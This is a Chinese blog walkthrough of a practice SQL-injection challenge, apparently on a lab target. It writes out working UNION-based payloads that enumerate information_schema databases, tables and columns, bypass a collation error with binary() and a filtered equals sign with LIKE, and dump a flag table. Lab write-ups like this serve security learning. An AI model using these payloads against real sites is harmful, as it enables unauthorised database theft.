SQL数字型GET注入02

SQL数字型GET注入02

靶机地址:http://whalwl.site:8034/    【2020年8月前有效】

话不多说,打开网址,看到有个交互式的搜索框,直接干

输入1,没毛病

输入1’ ,报错

查看错误提示,多了一个单引号’,用#注释,没毛病

1' order by 14 #  //查看字段数,即列数【用二分法一个个尝试,发现order by 15时报错,14刚好不报错,可知是14列】

-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14#  //查找回显点,返回结果只有3和9,说明在这两个地方放的东西都会显示出来

再来做下对比,证明我没有骗你们

-1' union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14 from information_schema.schemata# //查找有哪些数据库,发现报错:Illegal mix of collations for operation 'UNION'

查了一下,说是字符集的问题,直接上大佬的博客:https://blog.csdn.net/lanyd/article/details/5432470,用binary解决了;

即用binary(group_concat(schema_name))代替group_concat(schema_name)

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(schema_name)),10,11,12,13,14 from information_schema.schemata#

猜了一下,就选cms,因为我在该网址的首页看到最多的就是cms

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(table_name)),10,11,12,13,14 from information_schema.tables where table_schema = 'cms'#  //查找cms中有哪些表,但是报错了,字符被截了好多

截到f它就不往下弄了,我以为这个框是不是有字符数限制,尝试了好一会,无果。然后就去休息了,果然脑子通透了些,想到刚开始找注入点的时候,我用 1' and 1=1#,它会报错,我那时候就猜想是不是过滤等于号(=)了,但没放心上。于是乎,查了一些绕过等于号(=)的方法,大佬博客接着来:https://blog.csdn.net/x_kernel_2719/article/details/82843839

对的,用like代替“=”,就万事大吉

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(table_name)),10,11,12,13,14 from information_schema.tables where table_schema like 'cms'#

看见没有,this is flag表,幸福啊,接下来就简单了,一顿操作猛如虎

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(column_name)),10,11,12,13,14 from information_schema.columns where table_schema like 'cms'and table_name like 'this_is_flag'# //查找表中的字段,也就是this_is_flag的列名

-1' union select 1,2,binary(id),4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag# 

噢啦

结论:人还是要适当休息

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值